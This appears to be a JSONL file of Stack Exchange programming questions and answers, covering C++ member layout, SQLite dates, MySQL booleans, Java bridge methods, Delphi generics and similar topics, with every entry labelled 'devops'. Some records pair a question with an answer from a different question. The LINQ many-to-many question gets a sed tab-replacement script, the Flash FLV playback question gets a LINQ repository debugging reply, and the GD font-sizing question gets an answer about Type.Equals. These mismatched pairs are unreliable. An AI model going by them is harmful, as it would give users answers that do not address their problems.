{"id": "hf_5a6e10e69baa", "question": "<p>The C++ standard imposes an ordering on class member variables in memory.  It says that the addresses of member variables have to increase in the order of declaration, but only inside one access section.  Very specifically, this does not seem to prevent compilers from laying out access sections in an interleaved way.  For example:</p>\n\n<pre><code>class X {\npublic:\n   int i;\n   int j;\nprivate:\n   int k;\n   int n;\n}\n</code></pre>\n\n<p>Does the standard allow compilers to lay out the data members in the order i, k, j, n?  This would give compilers some (limited) freedom in optimizing object layout without violating the standard.</p>\n", "question_body": "", "answer": "And no, i think he is NOT trying to spam. This is a valid question and quite interesting i think.\nOk now i think compilers can do that. The standard says in 9.2. p12:\n```\nImplementation alignment require-\nments might cause two adjacent members not to be allocated immediately after each other; so might\nrequirements for space for managing virtual functions (10.3) and virtual base classes (10.1).\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.161991"}
{"id": "hf_85926ab29552", "question": "<p>How can I check which version of Apache is installed on a Debian machine? </p>\n\n<p>Is there a command for doing this?</p>\n", "question_body": "", "answer": "Try apachectl -V:\n```\n```\n$ apachectl -V\nServer version: Apache/2.2.9 (Unix)\nServer built:   Sep 18 2008 21:54:05\nServer's Module Magic Number: 20051115:15\nServer loaded:  APR 1.2.7, APR-Util 1.2.7\nCompiled using: APR 1.2.7, APR-Util 1.2.7\n... etc ...\n```\n```\nIf it does not work for you, run the command with\n```\nsudo\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.220639"}
{"id": "hf_d195bba6a839", "question": "<p>As being quite a newbie in linux, I have the follwing question.\nI have list of files (this time resulting from svn status) and i want to create a script to loop them all and replace tabs with 4 spaces.</p>\n\n<p>So I want from </p>\n\n<pre><code>....\nD      HTML/templates/t_bla.tpl\nM      HTML/templates/t_list_markt.tpl\nM      HTML/templates/t_vip.tpl\nM      HTML/templates/upsell.tpl\nM      HTML/templates/t_warranty.tpl\nM      HTML/templates/top.tpl\nA  +   HTML/templates/t_r1.tpl\n....\n</code></pre>\n\n<p>to something like</p>\n\n<pre><code>for i in &lt;files&gt;; expand -t4;do cp $i /tmp/x;expand -t4 /tmp/x &gt; $i;done;\n</code></pre>\n\n<p>but I dont know how to do that...</p>\n", "question_body": "", "answer": "I would use sed, like so:\n```\n```\nfor i in files\ndo\n    sed -i 's/\\t/    /' \"$i\"\ndone\n```\n```\nThat big block in there is four spaces. ;-)\nI haven't tested that, but it\nshould\nwork.  And I'd back up your files just in case.  The -i flag means that it will do the replacements on the files in-place, but if it messes up, you'll want to be able to restore them.\nThis assumes that $files contains the filenames.  However, you can also use Adam's approach at grabbing the filenames, just use the sed command above without the \"$i\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.266520"}
{"id": "hf_4c9521b07ecb", "question": "<p>HI,</p>\n\n<p>I have 3 tables: <strong>Clips</strong>, <strong>Books</strong> and relationships between <strong>ClipBook</strong></p>\n\n<p><strong>Problem is:</strong>\ni need get <strong>book</strong> that has <strong>bookID=4</strong> with some clips i mean many-to-many</p>\n\n<p>in simple text sql it will be something like this:</p>\n\n<p><code>select * from Clips where clipID in (select clipID from ClipBook where bookID=4)</code></p>\n\n<p><strong>Question is:</strong></p>\n\n<p>How can i do this with <strong>Linq</strong> without operator <strong>Join</strong> of course</p>\n", "question_body": "", "answer": "I would use sed, like so:\n```\n```\nfor i in files\ndo\n    sed -i 's/\\t/    /' \"$i\"\ndone\n```\n```\nThat big block in there is four spaces. ;-)\nI haven't tested that, but it\nshould\nwork.  And I'd back up your files just in case.  The -i flag means that it will do the replacements on the files in-place, but if it messes up, you'll want to be able to restore them.\nThis assumes that $files contains the filenames.  However, you can also use Adam's approach at grabbing the filenames, just use the sed command above without the \"$i\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.295419"}
{"id": "hf_6cc16e3619ce", "question": "<p>It's a simple case of a javascript that continuously asks \"are there yet?\" Like a four year old on a car drive.. But, much like parents, if you do this too often or, with too many kids at once, the server will buckle under pressure..</p>\n\n<p>How do you solve the issue of having a webpage that looks for new content in the order of every 5 seconds and that allows for a larger number of visitors?</p>\n", "question_body": "", "answer": "stackoverflow does it some way, don't know how though.\nThe more standard way would indeed be the javascript that looks for new content every few seconds.\nA more advanced way would use a\npush-like\ntechnique, by using\nComet\ntechniques (long-polling and such). There's a lot of interesting stuff under that link.\nI'm still waiting for a good opportunity to use it myself...\nOh, and here's a link from stackoverflow about it:\nIs there some way to PUSH data from web server to browser?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.353618"}
{"id": "hf_bd24399696f2", "question": "<p>How do I get the difference in days between 2 dates in SQLite? I have already tried something like this:</p>\n\n<pre><code>SELECT Date('now') - DateCreated FROM Payment\n</code></pre>\n\n<p>It returns 0 every time.</p>\n", "question_body": "", "answer": "```\n```\nSELECT julianday('now') - julianday(DateCreated) FROM Payment;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.415482"}
{"id": "hf_e19e3b45d6a6", "question": "<p>I have hit a classic problem of needing to do a string replace on a text field in an sql 2000 database. This could either be an update over a whole column or a single field I'm not fussy.</p>\n\n<p>I have found a few examples of how to use updatetext to achieve it but they tend to be in stored procedures, does anyone know of a similar thing that is wrapped into a function so I can use it like I would usually use Replace(). The problem with the Replace() function for anyone who isn't aware is that it doesn't support text fields.</p>\n\n<p>Edit: I realised I could probably get away with varchar(8000) so have swapped the fields to this type which fixes the issue. I never found a true solution.</p>\n", "question_body": "", "answer": "I am afraid you cannot do it within a function\nWhen you try to declare a function like:\n```\n```\ncreate function dbo.textReplace(\n@inText as text)\nreturns text\nas \nbegin\n    return 'a' -- just dummy code\nend\n```\n```\nYou will get the following error:\n```\n```\nThe text data type is invalid for return values.\n```\n```\nIn other words you could not write a simple equivalent of REPLACE function for the text data type", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.450377"}
{"id": "hf_f782b089392e", "question": "<p>I am writing unit tests for a class, which has a static final variable.\nHowever, since the state of the static final var is modified in each test, I need some way to reinitialize it.</p>\n\n<p>\nHow would this be possible? Would i need to use some sort of a custom classloader? </p>\n\n<p>\nThe variable is initialized as - \n<pre>\n static final CountdownLatch latch = new CountdownLatch(1);\n</pre>\n\n</p>\n", "question_body": "", "answer": "One (not very efficient) approach assuming you are using junit and ant.\nYou could create a separate class for each test method, and then use a forkmode of\n```\nperTest\n```\n.\nAs the\nAnt junit task documentation\nstates:\nControls how many Java Virtual Machines get created if you want to fork some tests. Possible values are \"perTest\" (the default), \"perBatch\" and \"once\". \"once\" creates only a single Java VM for all tests while \"perTest\" creates a new VM for each TestCase class. \"perBatch\" creates a VM for each nested <batchtest> and one collecting all nested <test>s. Note that only tests with the same settings of filtertrace, haltonerror, haltonfailure, errorproperty and failureproperty can share a VM, so even if you set forkmode to \"once\", Ant may have to create more than a single Java VM. This attribute is ignored for tests that don't get forked into a new Java VM. since Ant 1.6.2", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.486173"}
{"id": "hf_7ce4f38ebf47", "question": "<p>Since MySQL doesn't seem to have any 'boolean' data type, which data type do you 'abuse' for storing true/false information in MySQL?</p>\n\n<p>Especially in the context of writing and reading from/to a PHP script.</p>\n\n<p>Over time I have used and seen several approaches:</p>\n\n<ul>\n<li>tinyint, varchar fields containing the values 0/1,</li>\n<li>varchar fields containing the strings '0'/'1' or 'true'/'false'</li>\n<li>and finally enum Fields containing the two options 'true'/'false'.</li>\n</ul>\n\n<p>None of the above seems optimal. I tend to prefer the tinyint 0/1 variant, since automatic type conversion in PHP gives me boolean values rather simply.</p>\n\n<p>So which data type do you use? Is there a type designed for boolean values which I have overlooked? Do you see any advantages/disadvantages by using one type or another?</p>\n", "question_body": "", "answer": "I use TINYINT(1) in order to store boolean values in Mysql.\nI don't know if there is any advantage to use this... But if i'm not wrong, mysql can store boolean (BOOL) and it store it as a tinyint(1)\nhttp://dev.mysql.com/doc/refman/5.0/en/other-vendor-data-types.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.557247"}
{"id": "hf_4cdd08384081", "question": "<p>I'm just starting to try out phpunit on some existing code. The naming convention we use is that the MyClass class should be in MyClass.class.php. PHPUnit seems to require that the file should be called MyClass.php. </p>\n\n<p>Is there any way around this?</p>\n\n<p>I noticed it while trying to generate a skeleton test class:</p>\n\n<pre><code>phpunit --skeleton-test MyClass.class\n\nPHPUnit 3.3.4 by Sebastian Bergmann.\n\nCould not find class \"MyClass.class\" in \"/home/jd/skeleton/classes/MyClass.class.php\".\nFatal error: Call to a member function getOutClassName() on a non-object in /usr/share/php/PHPUnit/TextUI/Command.php on line 470\n</code></pre>\n", "question_body": "", "answer": "Its not a requirement, its just assumptive. You can write your own test-cases.\nSkeleton just makes a mock-up one \"the easy way\" that makes dummy functions for all your classes dummy functions.\nAlso,\n```\n```\nphpunit --skeleton-test MyClass  MyClass.class.php\n```\n```\nMight do what you want.\n```\n```\nUsage: phpunit [switches] UnitTest [UnitTest.php]\n       phpunit [switches] <directory>\n\n--skeleton-class         Generate Unit class for UnitTest in UnitTest.php.\n--skeleton-test          Generate UnitTest class for Unit in Unit.php.\n```\n```\nso by that reasoning, if you don't tell it what file the class is in it will try guess, if you do tell it what file the class is in, it wont guess.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.580776"}
{"id": "hf_fe481325a350", "question": "<p>During navigation of the <code>java.lang.reflect.Method</code> class I came across the method <code>isBridge</code>. Its Javadoc says that it returns true only if the Java spec declares the method as true.</p>\n\n<p>Please help me understand what this is used for! Can a custom class declare its method as a bridge if required?</p>\n", "question_body": "", "answer": "A bridge method may be created by the compiler when extending a parameterized type whose methods have parameterized arguments.\nYou can find in this class\nBridgeMethodResolver\na way to get the actual Method referred by a 'bridge method'.\nSee\nCreate Frame, Synchronize, Transfer Control\n:\nAs an example of such a situation, consider the declarations:\n```\n```\nclass C<T> { abstract T id(T x); }\nclass D extends C<String> { String id(String x) { return x; } }\n```\n```\nNow, given an invocation\n```\n```\nC c = new D();\nc.id(new Object()); // fails with a ClassCastException\n```\n```\nThe erasure of the actual method being invoked,\n```\nD.id(String)\n```\ndiffers in its signature from that of the compile-time method declaration,\n```\nC.id(Object)\n```\n. The former takes an argument of type String while the latter takes an argument of type Object. The invocation fails with a ClassCastException before the body of the method is executed.\nSuch situations can only arise if the program gives rise to an unchecked warning (\n§5.1.9\n).\nImplementations can enforce these semantics by creating bridge methods. In the above example, the following bridge method would be created in class D:\n```\n```\nObject id(Object x) { return id((String) x); }\n```\n```\nThis is the method that would actually be invoked by the Java virtual machine in response to the call\n```\nc.id(new Object())\n```\nshown above, and it will execute the cast and fail, as required.\nSee also\nBridge\n:\nas mentioned in the comment, bridge methods are also needed for\ncovariant overriding\n:\nIn Java 1.4, and earlier, one method can override another if the signatures match \nexactly.\nIn Java 5, a method can override another if the arguments match exactly\nbut the return type\nof the overriding method, if it is a\nsubtype\nof the return type of the other method.\nTypically, a method\n```\nObject clone()\n```\ncan be overridden by a\n```\nMyObject clone()\n```\n, but a bridge method will be generated by the compiler:\n```\n```\npublic bridge Object MyObject.clone();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.604661"}
{"id": "hf_d140d96849e8", "question": "<p>how do i make an autocomplete textbox in asp?\nbut i need to get the autocomplete data by querying the database. \nI dont really know how to explain this, sory if theres not enough detail. \ni cant use ajax, because i think i will have compability issues with my old app.\nso im thinking of doing this using java script. or is there a way to do this by using .net?\nim using C# for codebehind. thanks</p>\n", "question_body": "", "answer": "It's going to be a lot of effort without using some third party autocomplete I think - not sure what you mean by 'I can't use ajax', but how about using the\nASP.NET AJAX autocomplete control\n, setting the\n```\nServiceMethod\n```\nproperty to a static Page Method in your code behind? That keeps it contained within your page at least.\nThe Page Method can go off to your database, and return a String[] of results.\nIf you decide to use it, you'll need to set the\n```\nEnablePageMethods\n```\nproperty to\n```\ntrue\n```\nin the\n```\n<asp:ScriptManager>\n```\ncontrol.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.677692"}
{"id": "hf_6f009fffdb22", "question": "<p>I have a webservice running under sharepoint, on a bog-standard Server2003/IIS6 setup.  This webservice needs to open and read a file from a share on another machine in the same domain. At the moment I am getting a </p>\n\n<p>System.UnauthorizedAccessException: Access to the path '\\strand\\DROPBOXES\\MattTrinder\\SharepointShared\\bd116dfa-be0e-4c58-93e6-3fb93fa0ef22.tmp' is denied.\n   at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)</p>\n\n<p>What permissions do I need to grant to which accounts to allow this webservice to open and read the file ?</p>\n\n<p>Using \"\\\\sharepointserver\\c$\" works fine...</p>\n\n<p>Thanks</p>\n\n<p>Matt</p>\n", "question_body": "", "answer": "The account you grant access to, has to exist on the target (where the share exists) as well (either the same domain account, or a local account with the same password). Since the IIS-user normally has an auto-generated password and is local, this is hard.\nThe way we solve this, is to run the website as a different user (that we created ourselves), and grant this user permissions to access the share on the remote PC. Note that both the sharing permissions have to be correct, and the file system permissions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.714151"}
{"id": "hf_effe94175051", "question": "<p>What is the best way to convert an Int value to the corresponding Char in Utf16, given that the Int is in the range of valid values?</p>\n", "question_body": "", "answer": "```\n```\nint i = 65;\nchar c = Convert.ToChar(i);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.774038"}
{"id": "hf_2ec364e17e23", "question": "<p>I have an arraylist that contains items called Room. Each Room has a roomtype such as kitchen, reception etc.\nI want to check the arraylist to see if any rooms of that type exist before adding it to the list.\nCan anyone recommend a neat way of doing this without the need for multiple foreach loops?</p>\n\n<p>(.NET 2.0)</p>\n\n<hr>\n\n<p>I havent got access to the linq technology as am running on .net 2.0. I should have stated that in the question.\nApologies</p>\n", "question_body": "", "answer": "```\n```\nif (!rooms.Any (r => r.RoomType == typeToFind /*kitchen, ...*/))\n  //add it or whatever\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.797684"}
{"id": "hf_54110b83fcd1", "question": "<p>I have installed m2eclipse plugin from <a href=\"http://web.archive.org/web/20150524020820/http://m2eclipse.codehaus.org/\" rel=\"nofollow noreferrer\">http://m2eclipse.codehaus.org/</a>. Now I want to use that as a standalone build tool but I am unable to find the installation directory. Can anyone help me in this?</p>\n", "question_body": "", "answer": "I am not sure to understand what you want.\nm2eclipse is a\nplugin\nfor Eclipse, thus it must be run inside Eclipse.\nTo have a standalone build tool, I suggest that you just download directly the\nMaven2 binaries files\n, and install it on your computer, if it is not already done!\nFor your information, all plugins are stored in the eclipse-dir/plugins directory, as a subdirectory or as a JAR file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.821056"}
{"id": "hf_7f1c810cae1e", "question": "<p>What is the best approach to play a sequence of flv video files in Flash (with actionscript)? My goal is to have the transitions occur as smoothly as possible.</p>\n\n<p>Currently i'm using the netStream class and capturing the onStatus events to play the next video when the current video has reached it's end duration. Althought this approach works fine, there is still a small gap between the ending of the current video and start of the next. Any ideas on how to optimize this method? </p>\n\n<p>Thanks in advance :) </p>\n", "question_body": "", "answer": "The problem is not the linq itself,\nyou need to be sure that the context or provider object is able to fetch the data.\ntry testing the\n```\n```\nsubnusMVCRepository<Categories> categories = new subnusMVCRepository<Categories>();\nsubnusMVCRepository<Post_Category_Map> postCategoryMap = new subnusMVCRepository<Post_Category_Map>();\n```\n```\nobjects and see if they are populated or if they behaving as required.\nyou may want to search the generated code for c__DisplayClass1 and see what you can see there. some times the generated code dose some weird things.\nwhen you step into you code check the locals and the variable values. this may also give you some clues.\nEdit :\nHave you tried to return a List<> collection ? or an Enumerable type?\nEdit :\nWhat is the real type of the\nitem\nand query may not be iterable", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.879451"}
{"id": "hf_d632f6940017", "question": "<p>Why EAccessViolation is raised when executing the code below? </p>\n\n<pre><code>uses\n  Generics.Collections;\n  ...\n\nvar\n  list: TList&lt;TNotifyEvent&gt;;\n  ...\n\nbegin\n  list := TList&lt;TNotifyEvent&gt;.Create();\n  try\n    list.Add(myNotifyEvent);\n    list.Remove(myNotifyEvent);  // EAccessViolation at address...\n  finally\n    FreeAndNil(list);\n  end;\nend;\n\nprocedure myNotifyEvent(Sender: TObject);\nbegin\n  OutputDebugString('event');  // nebo cokoliv jineho\nend;\n</code></pre>\n", "question_body": "", "answer": "the above code is used in TForm1 ...\n```\n```\nuses \n  Generics.Collections;\n\nprocedure TForm1.Button1Click(Sender: TObject);\nvar\n  list: TList<TNotifyEvent>;\nbegin\n  list := TList<TNotifyEvent>.Create();\n  try\n    list.Add(myNotifyEvent);\n    list.Remove(myNotifyEvent);  // EAccessViolation at address...\n  finally\n    FreeAndNil(list);\n  end;\nend;\nprocedure TForm1.myNotifyEvent(Sender: TObject);\nbegin\n  OutputDebugString('event');  // nebo cokoliv jineho\nend;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.903716"}
{"id": "hf_23d376a6662a", "question": "<p>In OOP languages like C# or VB.NET, if I make the properties or methods in a super class <code>protected</code> I can't access them in my Form - they can only be accessed in my class that inherits from that super class.</p>\n\n<p>To access those properties or methods I need to make them <code>public</code>, which defeats encapsulation, or re-write them into my class, which defeats inheritance.</p>\n\n<p>What is the right way to do this?</p>\n", "question_body": "", "answer": "If you have code which needs to ask an Class to perform a specific operation but the class does not present your code with a means to do that then the Class doesn't fulfill you codes requirements.\nIts bit like saying I've got a Car (Automobile) that has a protected steering wheel so I can't access it.  The car is no use to me.\nEither make those members Public (or at least internal) and use them or ditch the class and use one that gives your consuming code the features it needs.\nPerhaps what you are really looking for is an interface.  The interface contains the members your code needs and you implement that interface on your class.  The advantage here is that your class can determine that the members are being accessed via this Interface rather than an inheriting subclass.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.951270"}
{"id": "hf_381c931fc94e", "question": "<p>Why must <code>Type.Equals(t1, t2)</code> be used to determine equivalent types, and not the equality operator (e.g. for VB.NET, <code>t1 = t2</code>)? </p>\n\n<p>It seems inconsistent with other parts of the .NET API.</p>\n\n<p>Example in VB.NET:</p>\n\n<p><code>If GetType(String) = GetType(String) Then \n    Debug.Print(\"The same, of course\")\nEnd If</code></p>\n\n<p>causes a compile-time error of \"<code>Operator '=' is not defined for types 'System.Type' and 'System.Type'.</code>\"</p>\n", "question_body": "", "answer": "Given the way types are loaded, that surprises me. Where did you hear this from?\nThe\ndocs for System.Type.Equals(Type)\nsuggest that it's comparing via the\nUnderlyingSystemType\nproperty, but I'm not sure under what circumstances two different Type objects would have the same underlying system type.\nI'd be really interested to see an example where this mattered... my\nguess\nis that from anywhere in \"user code\" they'll be the same thing, but there may be some cunning BCL code where it matters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.987477"}
{"id": "hf_e510f3d73442", "question": "<p>There is a space of x*y for text to go on $im (GD Image Resource) how can I choose a font size (or write text such that) it does not overflow over that area?</p>\n", "question_body": "", "answer": "Given the way types are loaded, that surprises me. Where did you hear this from?\nThe\ndocs for System.Type.Equals(Type)\nsuggest that it's comparing via the\nUnderlyingSystemType\nproperty, but I'm not sure under what circumstances two different Type objects would have the same underlying system type.\nI'd be really interested to see an example where this mattered... my\nguess\nis that from anywhere in \"user code\" they'll be the same thing, but there may be some cunning BCL code where it matters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.012710"}
{"id": "hf_e348ee18e3f6", "question": "<p>The assembly it's trying to find isn't the root assembly - it's a referenced one, but it's in the same folder, and Directory.GetCurrentDirectory() is the folder with all of the files in.</p>\n\n<p>I'm stuck - any suggestions?</p>\n", "question_body": "", "answer": "You can either:\nCreate a new\n```\nAppDomain\n```\nto load the assembly (and set the\n```\nAppDomain\n```\n's base directory to the directory containing all the assemblies).\nAttach a handler for\n```\nAppDomain.AssemblyResolve\n```\nto help the CLR find the assembly's dependencies.\nYou might be able to add the directory in question to the list of paths to probe. However, it will need to reside somewhere under your application's directory. See the\nprobe\nelement for more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.048149"}
{"id": "hf_335e6a5d5714", "question": "<p>I can't find a pre-built set of MSVC++ libs for Boost 1.37.0, only the source. I don't understand how their weird build system works... are there any places I can find a download of a visual studio project or something?</p>\n", "question_body": "", "answer": "Building it isn't difficult.\nThey have a fairly good expanaltion of the default process here:\nhttp://www.boost.org/doc/libs/1_37_0/more/getting_started/windows.html#or-build-binaries-from-source\nDownload bjam (from sourceforge, there are links from the boost website), as well as the boost sources, make sure bjam is accessible from the boost dir, cd to the boost dir, and run something like the following:\nbjam --build-dir= --prefix-dir= --toolset=msvc --build-type=complete install\nwhere  is an temp dir where it can store intermediate files, and  is the final install location. There are all sorts of other options you can play around with, and not all of them are documented very well, but the basics are fairly simple.\nFor more help, you can run bjam --help from the boost source dir.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.100363"}
{"id": "hf_0c29a4c2a5a7", "question": "<p>I always hear that using \"lastInsertId\" (or mysql_insert_id() if you're not using PDO) is evil. In case of triggers it obviously is, because it could return something that's totally not the last ID that your INSERT created.</p>\n\n<pre><code>$DB-&gt;exec(\"INSERT INTO example (column1) VALUES ('test')\");\n// Usually returns your newly created ID.\n// However when a TRIGGER inserts into another table with auto-increment:\n// -&gt; Returns newly created ID of trigger's INSERT\n$id = $DB-&gt;lastInsertId();\n</code></pre>\n\n<p>What's the alternative?</p>\n", "question_body": "", "answer": "It's not sophisticated and it's not efficient, but if the data you've inserted include unique fields, then a SELECT can obviously yield what you're after.\nFor example:\n```\n```\nINSERT INTO example (column1) VALUES ('test');\nSELECT id FROM example WHERE column1 = 'test';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.147469"}
{"id": "hf_37e6cb6ac30e", "question": "<p>I have a need to populate a Word 2007 document from code, including repeating table sections - currently I use an XML transform on the document.xml portion of the docx, but this is extremely time consuming to setup (each time you edit the template document, you have to recreate the transform.xsl file, which can take up to a day to do for complex documents).</p>\n\n<p>Is there any better way, preferably one that doesn't require you to <em>run</em> Word 2007 during the process?</p>\n\n<p>Regards\nRichard</p>\n", "question_body": "", "answer": "I tried myself to write some code for that purpose, but gave up. Now I use a 3rd party product:\nAspose Words\nand am quite happy with that component.\nIt doesn't need Microsoft Word on the machine.\n\"Aspose.Words enables .NET and Java applications to read, modify and write Word® documents without utilizing Microsoft Word®.\"\n\"Aspose.Words supports a wide array of features including document creation, content and formatting manipulation, powerful mail merge abilities, comprehensive support of DOC, OOXML, RTF, WordprocessingML, HTML, OpenDocument and PDF formats. Aspose.Words is truly the most affordable, fastest and feature rich Word component on the market.\"\nDISCLAIMER\n: I am not affiliated with that company.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.171351"}
{"id": "hf_6de5111fe0dd", "question": "<p>How to get the number of years between two <code>java.util.Date</code>?</p>\n\n<p><strong>Note:</strong> using only <code>java.util.Date</code></p>\n", "question_body": "", "answer": "How accurate do you need to be?  If approximate is good enough, then I'd do\n```\n```\nlong msDiff = date1.getTime() - date2.getTime();\nint yearDiff = (int)(msDiff / 1000 / 60 / 60 / 24 / 365.25);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.195467"}
{"id": "hf_996f521b9065", "question": "<p>Can I use Xpath node set function position() in Delphi's function selectNodes() to select only a certain number of element from a node list? If I do like this: </p>\n\n<pre><code>selectNodes('Item[1]') \n</code></pre>\n\n<p>its all fine and I get the element with index 1, but when I try </p>\n\n<pre><code>selectNodes('Item[position()&lt;10]')\n</code></pre>\n\n<p>I get exception 'unknown method', when I try </p>\n\n<pre><code>selectNodes('Item[&lt;10]') \n</code></pre>\n\n<p>I get 'unexpected token &lt;'. \nIm using delphi7 and I also imported new type library into my project with newer versions of msxml.</p>\n", "question_body": "", "answer": "selectNodes requires a string, so you should try:\n```\n```\nselectNodes('Item[position()<10]')\n```\n```\nOr whatever xpath query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.231088"}
